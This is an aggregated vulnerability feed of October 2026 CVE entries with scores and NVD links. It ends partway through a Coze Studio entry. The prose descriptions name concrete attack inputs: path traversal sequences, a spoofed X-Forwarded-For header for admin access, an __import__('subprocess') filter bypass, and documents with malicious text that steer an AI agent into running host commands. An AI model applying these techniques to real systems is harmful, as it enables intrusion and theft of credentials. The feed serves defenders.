Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### uTox through 0.18.1 contains a path traversal vulnerability that allows Tox friends to write arbitrary files by sending absolute or ../ file names to victims with auto-accept...
https://kevwire.com/record/CVE-2026-113352
uTox through 0.18.1 contains a path traversal vulnerability that allows Tox friends to write arbitrary files by sending absolute or ../ file names to victims with auto-accept... (Oct 20, 2026).
uTox through 0.18.1 contains a path traversal vulnerability that allows Tox friends to write arbitrary files by sending absolute or ../ file names to victims with auto-accept enabled. Attackers can overwrite shell startup files or plant crafted .ftinfo resume records that ft_find_resumeable() loads, abusing FILE pointers to write /proc/self/mem and execute code.
CVSS 7.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113352).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113352&date=2026-10-25).
Sources:
NVD CVE-2026-113352: https://nvd.nist.gov/vuln/detail/CVE-2026-113352
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113352&date=2026-10-25
uTox through 0.18.1 contains a path traversal vulnerability that allows Tox friends to write arbitrary files by sending absolute or ../ file names to victims with auto-accept enabled. Attackers can overwrite shell startup files or plant crafted .ftinfo resume records that ft_find_resumeable() loads, abusing FILE pointers to write /proc/self/mem and execute code.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### LavaLite CMS through 10.1.2 contains a missing authentication vulnerability in the Filer module that allows unauthenticated attackers to download stored files through the...
https://kevwire.com/record/CVE-2026-113358
LavaLite CMS through 10.1.2 contains a missing authentication vulnerability in the Filer module that allows unauthenticated attackers to download stored files through the... (Oct 20, 2026).
LavaLite CMS through 10.1.2 contains a missing authentication vulnerability in the Filer module that allows unauthenticated attackers to download stored files through the filer/download and filer/display routes. Attackers can supply arbitrary disk names and paths to FileController to retrieve private uploads from local storage or configured remote S3 disks.
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113358).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113358&date=2026-10-25).
Sources:
NVD CVE-2026-113358: https://nvd.nist.gov/vuln/detail/CVE-2026-113358
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113358&date=2026-10-25
LavaLite CMS through 10.1.2 contains a missing authentication vulnerability in the Filer module that allows unauthenticated attackers to download stored files through the filer/download and filer/display routes. Attackers can supply arbitrary disk names and paths to FileController to retrieve private uploads from local storage or configured remote S3 disks.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SuggestArr before 3.0.0 contains an authentication bypass vulnerability in its local_bypass authentication mode where enforce_authentication() in api_service/auth/middleware.py...
https://kevwire.com/record/CVE-2026-113703
SuggestArr before 3.0.0 contains an authentication bypass vulnerability in its local_bypass authentication mode where enforce_authentication() in api_service/auth/middleware.py... (Oct 20, 2026).
SuggestArr before 3.0.0 contains an authentication bypass vulnerability in its local_bypass authentication mode where enforce_authentication() in api_service/auth/middleware.py trusts the client-controlled request.remote_addr value, which is derived from the spoofable X-Forwarded-For header due to ProxyFix(x_for=1) configuration in api_service/app.py. Attackers can send a request with X-Forwarded-For set to a trusted CIDR address such as 127.0.0.1 to be granted an unauthenticated admin session via _load_bypass_user_context(), gaining full administrative access to endpoints like /api/users and /api/jobs without providing any credentials.
CVSS 9.1 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113703).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113703&date=2026-10-25).
Sources:
NVD CVE-2026-113703: https://nvd.nist.gov/vuln/detail/CVE-2026-113703
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113703&date=2026-10-25
SuggestArr before 3.0.0 contains an authentication bypass vulnerability in its local_bypass authentication mode where enforce_authentication() in api_service/auth/middleware.py trusts the client-controlled request.remote_addr value, which is derived from the spoofable X-Forwarded-For header due to ProxyFix(x_for=1) configuration in api_service/app.py. Attackers can send a request with X-Forwarded-For set to a trusted CIDR address such as 127.0.0.1 to be granted an unauthenticated admin session via _load_bypass_user_context(), gaining full administrative access to endpoints like /api/users and /api/jobs without providing any credentials.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Aix-DB 1.2.4 contains a remote code execution vulnerability that allows authenticated non-admin users to run operating system commands through the ChatBI common agent's ungated...
https://kevwire.com/record/CVE-2026-77926
Aix-DB 1.2.4 contains a remote code execution vulnerability that allows authenticated non-admin users to run operating system commands through the ChatBI common agent's ungated... (Oct 20, 2026).
Aix-DB 1.2.4 contains a remote code execution vulnerability that allows authenticated non-admin users to run operating system commands through the ChatBI common agent's ungated deepagents execute tool. Attackers can send crafted chat input to POST /dify/get_answer or upload documents with malicious text to run host commands, exposing datasource credentials and model API keys.
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77926).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77926&date=2026-10-25).
Sources:
NVD CVE-2026-77926: https://nvd.nist.gov/vuln/detail/CVE-2026-77926
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77926&date=2026-10-25
Aix-DB 1.2.4 contains a remote code execution vulnerability that allows authenticated non-admin users to run operating system commands through the ChatBI common agent's ungated deepagents execute tool. Attackers can send crafted chat input to POST /dify/get_answer or upload documents with malicious text to run host commands, exposing datasource credentials and model API keys.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Letta through 0.16.8 contains an authentication bypass vulnerability that allows API callers to impersonate other users by supplying a self-asserted user_id HTTP header.
https://kevwire.com/record/CVE-2026-77937
Letta through 0.16.8 contains an authentication bypass vulnerability that allows API callers to impersonate other users by supplying a self-asserted user_id HTTP header. (Oct 20, 2026).
Letta through 0.16.8 contains an authentication bypass vulnerability that allows API callers to impersonate other users by supplying a self-asserted user_id HTTP header. Attackers can set user_id to another tenant's ID, even with LETTA_SERVER_SECURE enabled, to read and modify that user's agents, memory and configuration.
CVSS 8.6 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77937).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77937&date=2026-10-25).
Sources:
NVD CVE-2026-77937: https://nvd.nist.gov/vuln/detail/CVE-2026-77937
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77937&date=2026-10-25
Letta through 0.16.8 contains an authentication bypass vulnerability that allows API callers to impersonate other users by supplying a self-asserted user_id HTTP header. Attackers can set user_id to another tenant's ID, even with LETTA_SERVER_SECURE enabled, to read and modify that user's agents, memory and configuration.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Letta through 0.16.8 contains an information disclosure vulnerability that allows users running tools to read server secrets because LocalSandbox subprocesses inherit the full...
https://kevwire.com/record/CVE-2026-77938
Letta through 0.16.8 contains an information disclosure vulnerability that allows users running tools to read server secrets because LocalSandbox subprocesses inherit the full... (Oct 20, 2026).
Letta through 0.16.8 contains an information disclosure vulnerability that allows users running tools to read server secrets because LocalSandbox subprocesses inherit the full server environment. Attackers can run code via POST /v1/tools/run or custom tools to read LETTA_PG_URI, POSTGRES_PASSWORD, and provider API keys, then access cross-tenant database data.
CVSS 7.1 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77938).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77938&date=2026-10-25).
Sources:
NVD CVE-2026-77938: https://nvd.nist.gov/vuln/detail/CVE-2026-77938
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77938&date=2026-10-25
Letta through 0.16.8 contains an information disclosure vulnerability that allows users running tools to read server secrets because LocalSandbox subprocesses inherit the full server environment. Attackers can run code via POST /v1/tools/run or custom tools to read LETTA_PG_URI, POSTGRES_PASSWORD, and provider API keys, then access cross-tenant database data.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Raptor RDF Syntax Library from 2.0.15 through 2.0.16 contains a heap-based buffer overflow vulnerability in raptor_new_term_from_counted_literal() caused by truncating language...
https://kevwire.com/record/CVE-2025-71436
Raptor RDF Syntax Library from 2.0.15 through 2.0.16 contains a heap-based buffer overflow vulnerability in raptor_new_term_from_counted_literal() caused by truncating language... (Oct 20, 2026).
Raptor RDF Syntax Library from 2.0.15 through 2.0.16 contains a heap-based buffer overflow vulnerability in raptor_new_term_from_counted_literal() caused by truncating language tag length to an unsigned char. Attackers can supply Turtle, TriG, N-Triples or N-Quads documents with language tags of 256 bytes or longer to corrupt heap memory, crash applications, and possibly execute code.
CVSS 7.1 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2025-71436).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-71436&date=2026-10-25).
Sources:
NVD CVE-2025-71436: https://nvd.nist.gov/vuln/detail/CVE-2025-71436
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-71436&date=2026-10-25
Raptor RDF Syntax Library from 2.0.15 through 2.0.16 contains a heap-based buffer overflow vulnerability in raptor_new_term_from_counted_literal() caused by truncating language tag length to an unsigned char. Attackers can supply Turtle, TriG, N-Triples or N-Quads documents with language tags of 256 bytes or longer to corrupt heap memory, crash applications, and possibly execute code.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Path Traversal (CWE-22) in FileArtifactService in Google ADK TypeScript (@google/adk) versions 0.4.0 before 0.6.0 allows a remote unauthenticated attacker to read files matching...
https://kevwire.com/record/CVE-2026-105772
Path Traversal (CWE-22) in FileArtifactService in Google ADK TypeScript (@google/adk) versions 0.4.0 before 0.6.0 allows a remote unauthenticated attacker to read files matching... (Oct 20, 2026).
Path Traversal (CWE-22) in FileArtifactService in Google ADK TypeScript (@google/adk) versions 0.4.0 before 0.6.0 allows a remote unauthenticated attacker to read files matching the artifact directory layout or write files (when an agent tool invokes saveArtifact) outside the intended artifact storage root via crafted relative or percent-encoded path traversal sequences (such as ../ or ..%2F) in the userId or sessionId parameters when the ADK API server is exposed with the non-default FileArtifactService enabled. Applications using the default InMemoryArtifactService are unaffected. Upgrade to @google/adk version 0.6.0 or later.
CVSS 9.1 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105772).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105772&date=2026-10-25).
Sources:
NVD CVE-2026-105772: https://nvd.nist.gov/vuln/detail/CVE-2026-105772
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105772&date=2026-10-25
Path Traversal (CWE-22) in FileArtifactService in Google ADK TypeScript (@google/adk) versions 0.4.0 before 0.6.0 allows a remote unauthenticated attacker to read files matching the artifact directory layout or write files (when an agent tool invokes saveArtifact) outside the intended artifact storage root via crafted relative or percent-encoded path traversal sequences (such as ../ or ..%2F) in the userId or sessionId parameters when the ADK API server is exposed with the non-default FileArtifactService enabled. Applications using the default InMemoryArtifactService are unaffected. Upgrade to @google/adk version 0.6.0 or later.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Ning compress-lzf before 1.2.0 contains an out-of-bounds memory access vulnerability in the sun.misc.Unsafe based UnsafeChunkDecoder that fails to validate back-references and...
https://kevwire.com/record/CVE-2026-109395
Ning compress-lzf before 1.2.0 contains an out-of-bounds memory access vulnerability in the sun.misc.Unsafe based UnsafeChunkDecoder that fails to validate back-references and... (Oct 20, 2026).
Ning compress-lzf before 1.2.0 contains an out-of-bounds memory access vulnerability in the sun.misc.Unsafe based UnsafeChunkDecoder that fails to validate back-references and literal runs. Attackers can supply crafted LZF streams to applications using the default LZFDecoder to leak unrelated JVM heap memory into decompressed output or crash the JVM.
CVSS 8.8 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109395).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109395&date=2026-10-25).
Sources:
NVD CVE-2026-109395: https://nvd.nist.gov/vuln/detail/CVE-2026-109395
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109395&date=2026-10-25
Ning compress-lzf before 1.2.0 contains an out-of-bounds memory access vulnerability in the sun.misc.Unsafe based UnsafeChunkDecoder that fails to validate back-references and literal runs. Attackers can supply crafted LZF streams to applications using the default LZFDecoder to leak unrelated JVM heap memory into decompressed output or crash the JVM.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### libexpat 2.7.2 through 2.9.0 contains a denial of service vulnerability because XML_ParserReset zeroes the direct byte count but never offsets tracked heap allocations.
https://kevwire.com/record/CVE-2026-113351
libexpat 2.7.2 through 2.9.0 contains a denial of service vulnerability because XML_ParserReset zeroes the direct byte count but never offsets tracked heap allocations. (Oct 20, 2026).
libexpat 2.7.2 through 2.9.0 contains a denial of service vulnerability because XML_ParserReset zeroes the direct byte count but never offsets tracked heap allocations. Attackers can submit a large XML document so later documents on the same reset parser fail with XML_ERROR_NO_MEMORY until it is recreated.
CVSS 8.2 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113351).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113351&date=2026-10-25).
Sources:
NVD CVE-2026-113351: https://nvd.nist.gov/vuln/detail/CVE-2026-113351
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113351&date=2026-10-25
libexpat 2.7.2 through 2.9.0 contains a denial of service vulnerability because XML_ParserReset zeroes the direct byte count but never offsets tracked heap allocations. Attackers can submit a large XML document so later documents on the same reset parser fail with XML_ERROR_NO_MEMORY until it is recreated.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### DokuWiki before 2026-07-14c contains a PHP object injection vulnerability in Draft::getDraftText() that passes draft file contents to unserialize() without restricting allowed...
https://kevwire.com/record/CVE-2026-113356
DokuWiki before 2026-07-14c contains a PHP object injection vulnerability in Draft::getDraftText() that passes draft file contents to unserialize() without restricting allowed... (Oct 20, 2026).
DokuWiki before 2026-07-14c contains a PHP object injection vulnerability in Draft::getDraftText() that passes draft file contents to unserialize() without restricting allowed classes. Authenticated users with edit rights can race concurrent draft rewrites to splice serialized data, instantiating gadgets like MemoryIndex or Installer for arbitrary file write, deletion, and code execution.
CVSS 7.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113356).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113356&date=2026-10-25).
Sources:
NVD CVE-2026-113356: https://nvd.nist.gov/vuln/detail/CVE-2026-113356
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113356&date=2026-10-25
DokuWiki before 2026-07-14c contains a PHP object injection vulnerability in Draft::getDraftText() that passes draft file contents to unserialize() without restricting allowed classes. Authenticated users with edit rights can race concurrent draft rewrites to splice serialized data, instantiating gadgets like MemoryIndex or Installer for arbitrary file write, deletion, and code execution.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In the RingRTC library before 2.72.0 for Signal, a peer that saturates a call's FSM queue can interfere with the ability of a local hangup to tear the call (with its audio and...
https://kevwire.com/record/CVE-2026-113380
In the RingRTC library before 2.72.0 for Signal, a peer that saturates a call's FSM queue can interfere with the ability of a local hangup to tear the call (with its audio and... (Oct 20, 2026).
In the RingRTC library before 2.72.0 for Signal, a peer that saturates a call's FSM queue can interfere with the ability of a local hangup to tear the call (with its audio and perhaps also video track) down.
CVSS 9.3 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113380).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113380&date=2026-10-25).
Sources:
NVD CVE-2026-113380: https://nvd.nist.gov/vuln/detail/CVE-2026-113380
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113380&date=2026-10-25
In the RingRTC library before 2.72.0 for Signal, a peer that saturates a call's FSM queue can interfere with the ability of a local hangup to tear the call (with its audio and perhaps also video track) down.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stirling-PDF from 2.13.2 through 3.2.0 contains an incomplete denylist in DatabaseService.validateSqlContent() that allows administrators to bypass H2 import restrictions using...
https://kevwire.com/record/CVE-2026-113605
Stirling-PDF from 2.13.2 through 3.2.0 contains an incomplete denylist in DatabaseService.validateSqlContent() that allows administrators to bypass H2 import restrictions using... (Oct 20, 2026).
Stirling-PDF from 2.13.2 through 3.2.0 contains an incomplete denylist in DatabaseService.validateSqlContent() that allows administrators to bypass H2 import restrictions using CREATE OR REPLACE ALIAS. Authenticated administrators can upload a crafted SQL backup to the import-database endpoint, where RUNSCRIPT defines H2 Java function aliases and restores Java-method execution.
CVSS 8.6 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113605).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113605&date=2026-10-25).
Sources:
NVD CVE-2026-113605: https://nvd.nist.gov/vuln/detail/CVE-2026-113605
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113605&date=2026-10-25
Stirling-PDF from 2.13.2 through 3.2.0 contains an incomplete denylist in DatabaseService.validateSqlContent() that allows administrators to bypass H2 import restrictions using CREATE OR REPLACE ALIAS. Authenticated administrators can upload a crafted SQL backup to the import-database endpoint, where RUNSCRIPT defines H2 Java function aliases and restores Java-method execution.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Configurable Reports block for Moodle before 5.3.0 contains an authorization bypass vulnerability that allows authenticated users to read restricted reports through the...
https://kevwire.com/record/CVE-2026-113607
Configurable Reports block for Moodle before 5.3.0 contains an authorization bypass vulnerability that allows authenticated users to read restricted reports through the... (Oct 20, 2026).
Configurable Reports block for Moodle before 5.3.0 contains an authorization bypass vulnerability that allows authenticated users to read restricted reports through the block_configurable_reports_get_report_data web service. When check_permissions fails, the function only adds a warning and still returns the full report table, letting any logged-in user supply arbitrary report ids to read SQL reports over user and grade data.
CVSS 7.1 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113607).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113607&date=2026-10-25).
Sources:
NVD CVE-2026-113607: https://nvd.nist.gov/vuln/detail/CVE-2026-113607
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113607&date=2026-10-25
Configurable Reports block for Moodle before 5.3.0 contains an authorization bypass vulnerability that allows authenticated users to read restricted reports through the block_configurable_reports_get_report_data web service. When check_permissions fails, the function only adds a warning and still returns the full report table, letting any logged-in user supply arbitrary report ids to read SQL reports over user and grade data.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### HarfBuzz 8.0.0 through 14.6.0 contains an out-of-bounds write vulnerability in the experimental WebAssembly shaper because the font_glyph_to_string import has a wrong WAMR...
https://kevwire.com/record/CVE-2026-113679
HarfBuzz 8.0.0 through 14.6.0 contains an out-of-bounds write vulnerability in the experimental WebAssembly shaper because the font_glyph_to_string import has a wrong WAMR... (Oct 20, 2026).
HarfBuzz 8.0.0 through 14.6.0 contains an out-of-bounds write vulnerability in the experimental WebAssembly shaper because the font_glyph_to_string import has a wrong WAMR signature. Attackers can supply a crafted font whose wasm module places the output buffer near linear memory's end, writing glyph-name bytes into host memory to crash or corrupt applications.
CVSS 7.3 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113679).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113679&date=2026-10-25).
Sources:
NVD CVE-2026-113679: https://nvd.nist.gov/vuln/detail/CVE-2026-113679
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113679&date=2026-10-25
HarfBuzz 8.0.0 through 14.6.0 contains an out-of-bounds write vulnerability in the experimental WebAssembly shaper because the font_glyph_to_string import has a wrong WAMR signature. Attackers can supply a crafted font whose wasm module places the output buffer near linear memory's end, writing glyph-name bytes into host memory to crash or corrupt applications.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Langchain-Chatchat through 0.3.1.3 exposes a POST /tools/call API endpoint that invokes any registered tool by name without authentication, leaving the always-registered shell...
https://kevwire.com/record/CVE-2026-75128
Langchain-Chatchat through 0.3.1.3 exposes a POST /tools/call API endpoint that invokes any registered tool by name without authentication, leaving the always-registered shell... (Oct 20, 2026).
Langchain-Chatchat through 0.3.1.3 exposes a POST /tools/call API endpoint that invokes any registered tool by name without authentication, leaving the always-registered shell tool callable. Remote attackers can send a single request naming the shell tool to execute arbitrary OS commands as the server user (root in the shipped Docker image).
CVSS 9.3 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-75128).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-75128&date=2026-10-25).
Sources:
NVD CVE-2026-75128: https://nvd.nist.gov/vuln/detail/CVE-2026-75128
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-75128&date=2026-10-25
Langchain-Chatchat through 0.3.1.3 exposes a POST /tools/call API endpoint that invokes any registered tool by name without authentication, leaving the always-registered shell tool callable. Remote attackers can send a single request naming the shell tool to execute arbitrary OS commands as the server user (root in the shipped Docker image).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Coze Studio before 0.5.0 contains an insecure default configuration that allows any registered user to execute commands by running workflow code nodes in an unsandboxed python3...
https://kevwire.com/record/CVE-2026-77934
Coze Studio before 0.5.0 contains an insecure default configuration that allows any registered user to execute commands by running workflow code nodes in an unsandboxed python3... (Oct 20, 2026).
Coze Studio before 0.5.0 contains an insecure default configuration that allows any registered user to execute commands by running workflow code nodes in an unsandboxed python3 subprocess. Attackers can bypass the regex import filter with __import__('subprocess') to run commands, stealing environment variables, model API keys, and accessing MySQL, MinIO, Redis and etcd.
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77934).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77934&date=2026-10-25).
Sources:
NVD CVE-2026-77934: https://nvd.nist.gov/vuln/detail/CVE-2026-77934
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77934&date=2026-10-25
Coze Studio before 0.5.0 contains an insecure default configuration that allows any registered user to execute commands by running workflow code nodes in an unsandboxed python3 subprocess. Attackers can bypass the regex import filter with __import__('subprocess') to run commands, stealing environment variables, model API keys, and accessing MySQL, MinIO, Redis and etcd.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Coze Studio through 0.5.1 contains an insecure direct object reference vulnerability in workflow.go that allows authenticated users to access other spaces' workflows by supplying...
https://kevwire.com/record/CVE-2026-77935
Coze Studio through 0.5.1 contains an insecure direct object reference vulnerability in workflow.go that allows authenticated users to access other spaces' workflows by supplying... (Oct 20, 2026).
Coze Studio through 0.5.1 contains an insecure direct object reference vulnerability in workflow.go that allows authenticated users to access other spaces' workflows by supplying foreign workflowIDs. Attackers can pair their own spaceID with another tenant's workflowID in save, update_meta, batch_delete, canvas, test_run and nodeDebug routes to read, run, overwrite or delete workflows.
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77935).
